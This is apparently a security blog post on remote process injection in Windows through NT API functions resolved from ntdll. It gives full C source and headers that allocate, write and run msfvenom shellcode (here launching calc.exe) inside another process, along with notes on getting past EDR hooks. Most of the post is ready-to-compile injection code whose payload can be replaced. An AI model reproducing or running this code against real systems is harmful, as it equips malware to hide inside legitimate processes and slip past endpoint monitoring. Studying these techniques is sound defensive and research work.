Post

Syscalls-ProcessInjection

Syscalls-ProcessInjection

What is it?

Remote shellcode injection using NT-level API function pointers instead of the Win32 wrappers — NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, and NtCreateThreadEx — resolved at runtime via GetProcAddress from ntdll. This skips one layer of abstraction but is not true syscall invocation (hooks in ntdll still fire). True direct syscalls would require the SysWhispers-generated stubs from the companion post.

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Syscall struct:
  typedef struct _Syscall {
    fnNtAllocateVirtualMemory  pNtAllocateVirtualMemory;
    fnNtProtectVirtualMemory   pNtProtectVirtualMemory;
    fnNtWriteVirtualMemory     pNtWriteVirtualMemory;
    fnNtCreateThreadEx         pNtCreateThreadEx;
  } Syscall;


InitSyscallStruct(&St):
  GetModuleHandle(L"NTDLL.DLL") → hNtdll
  GetProcAddress(hNtdll, "NtAllocateVirtualMemory") → St->pNtAllocateVirtualMemory
  GetProcAddress(hNtdll, "NtProtectVirtualMemory")  → St->pNtProtectVirtualMemory
  GetProcAddress(hNtdll, "NtWriteVirtualMemory")    → St->pNtWriteVirtualMemory
  GetProcAddress(hNtdll, "NtCreateThreadEx")        → St->pNtCreateThreadEx


SyscallRemoteInjection(hProcess, shellcode, shellcodeSize):

  Step 1: Allocate
  St.pNtAllocateVirtualMemory(
    hProcess,
    &pAddress,     ← NULL input → OS picks address
    0,             ← ZeroBits
    &sSize,        ← shellcode size → rounds up to page boundary
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE)

  Step 2: Write
  St.pNtWriteVirtualMemory(
    hProcess,
    pAddress,
    pShellcode,
    sShellcodeSize,
    &sNumOfBytesWritten)

  Step 3: Protect
  St.pNtProtectVirtualMemory(
    hProcess,
    &pAddress,
    &sShellcodeSize,
    PAGE_EXECUTE_READWRITE,
    &uOldProtect)

  Step 4: Execute
  St.pNtCreateThreadEx(
    &hThread,
    THREAD_ALL_ACCESS,
    0,           ← ObjectAttributes = NULL
    hProcess,
    pAddress,    ← start address = shellcode
    NULL,        ← parameter
    NULL,        ← flags (0 = not suspended)
    NULL, NULL, NULL, NULL)
  → Thread created in target process, starts at shellcode


main():
  OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID)
  ← hardcoded PID: 10360 (change before use)

NtCreateThreadEx is used instead of CreateRemoteThread because it exposes more control (thread flags, stack size, etc.) and is less directly monitored than CreateRemoteThread by some basic EDRs. They call the same kernel path ultimately, but the call chain differs.

The important caveat: calling GetProcAddress for these NT functions and then invoking them still passes through ntdll — which means EDR hooks installed at the ntdll function entry points still fire. This is NT-layer API usage, not direct syscalls. The win here is avoiding the Win32 wrapper (VirtualAllocExNtAllocateVirtualMemory → syscall vs. NtAllocateVirtualMemory → syscall directly), which saves one function call layer and avoids some Win32 validation code, but doesn’t bypass ntdll hooks. The SysWhispers post would genuinely bypass those hooks.

Syscalls-processinjection.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
/*
	Explaination:
		- We are going to implement remote process injection with syscalls. Below will be the WinAPI and their syscall replacement
			VirtualAlloc -> NtAllocateVirtualMemory
			VirutalProtect -> NtProtectVirutalMemory
			WriteProcessMemory -> NtWriteVirtualMemory
			CreateThread -> NtCreateThreadEx

			python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v
*/

#include <Windows.h>
#include <stdio.h>
#include "structs.h"

// Remote target process ID
#define PROCESS_ID	10360

// msfvenom, calc.exe
unsigned char shellcode[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

// A structure that keeps the syscalls used
typedef struct _Syscall {

	fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
	fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
	fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
	fnNtCreateThreadEx        pNtCreateThreadEx;

} Syscall, *PSyscall;


/*
	Function: to populate the St structure
*/
BOOL InitSyscallStruct(_Out_ PSyscall St) {
	
	// Get handle to address of ntdll
	HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
	if (!hNtdll) {
		printf("[!] GetModuleHandle Failed %d \n", GetLastError());
		return FALSE;
	}

	// Resolve each NT function address
	St->pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	St->pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
	St->pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
	St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

	// Verify struct hold address (not empty)
	if (!St->pNtAllocateVirtualMemory ||
		!St->pNtProtectVirtualMemory ||
		!St->pNtWriteVirtualMemory ||
		!St->pNtCreateThreadEx)
	{
		printf("[!] One or more Nt functions were not found!\n");
		return FALSE;
	}

	return TRUE;
}

/*
	Function: Inject shellcode via syscall into remote thread
		hProcess -> Handle to target process
		pShellcode -> Pointer to shellcode memory address
		sShellcodeSize -> Hold size of shellcode in bytes

		1. Allocate memory in remote process
		2. Write shellcode into allocated memory
		3. Update memory to be executable
		4. Create remotethread at shellcode entry point
*/
BOOL SyscallRemoteInjection(_In_ HANDLE hProcess, _In_ PVOID pShellcode, _In_ SIZE_T sShellcodeSize) {

	Syscall St = { 0 };
	NTSTATUS STATUS = 0x00;
	PVOID pAddress = NULL;
	ULONG uOldProtect = 0;
	SIZE_T sSize = sShellcodeSize, sNumOfBytesWritten = 0;
	HANDLE hThread = NULL;

	// Initialize the syscall structure with function pointers from ntdll.dll
	if (!InitSyscallStruct(&St)) {
		printf("[!] Failed To initilize Syscall Struct ! \n");
		return FALSE;
	}


	// Allocating memory through Syscall
	if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
		printf("[!] pNtAllocateVirtualMemory Failed 0x%0.8X \n", STATUS);
		return FALSE;
	}
	
	printf("[+] Memory Allocated At: 0x%p of Size (Bytes): %d \n", pAddress, sSize);
	printf("[+] Press <Enter> To Write Payload \n");
	getchar();

	// Writing shellcode through Syscall
	if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pShellcode, sShellcodeSize, &sNumOfBytesWritten)) != 0 || sNumOfBytesWritten != sShellcodeSize) {
		printf("[!] pNtWriteVirtualMemory Failed 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Update permissions to RWX through Syscall
	if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sShellcodeSize, PAGE_EXECUTE_READWRITE, &uOldProtect)) != 0) {
		printf("[!] pNtProtectVirtualMemory Failed 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Executing shellcode into remote thread
	printf("[+] Press <Enter> To Inject Shellcode! \n");
	getchar();
	printf("[+] Thread Entry Point 0x%p \n", pAddress);

	// Creating remote thread
	if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, 0, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] pNtCreateThreadEx Failed 0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] Thread Created With PID: %d \n", GetThreadId(hThread));

	return TRUE;
}


int main() {
	HANDLE hProcess = NULL;

	// Open handle to the target process with full access rights
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);

	if (!SyscallRemoteInjection(hProcess, shellcode, sizeof(shellcode))) {
		return -1;
	}

	printf("[+] Press <Enter> To Exit! \n");
	getchar();

	return 0;
}


structs.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#pragma once
#include <Windows.h>

// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(

	HANDLE							ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR						ZeroBits,
	PSIZE_T							RegionSize,
	ULONG							AllocationType,
	ULONG							Protect
	);

// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Memory%20Management/Virtual%20Memory/NtProtectVirtualMemory.html
typedef NTSTATUS(NTAPI* fnNtProtectVirtualMemory)(

	HANDLE							ProcessHandle,
	PVOID* BaseAddress,
	PSIZE_T							NumberOfBytesToProtect,
	ULONG							NewAccessProtection,
	PULONG							OldAccessProtection
	);

// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Memory%20Management/Virtual%20Memory/NtWriteVirtualMemory.html
typedef NTSTATUS(NTAPI* fnNtWriteVirtualMemory)(

	HANDLE							ProcessHandle,
	PVOID							BaseAddress,
	PVOID							Buffer,
	ULONG							NumberOfBytesToWrite,
	PULONG							NumberOfBytesWritten
	);


typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h#L2228
typedef NTSTATUS(NTAPI* fnNtCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	HANDLE ProcessHandle,
	PVOID StartRoutine,
	PVOID Argument,
	ULONG CreateFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	PPS_ATTRIBUTE_LIST AttributeList
	);
This post is licensed under CC BY 4.0 by the author.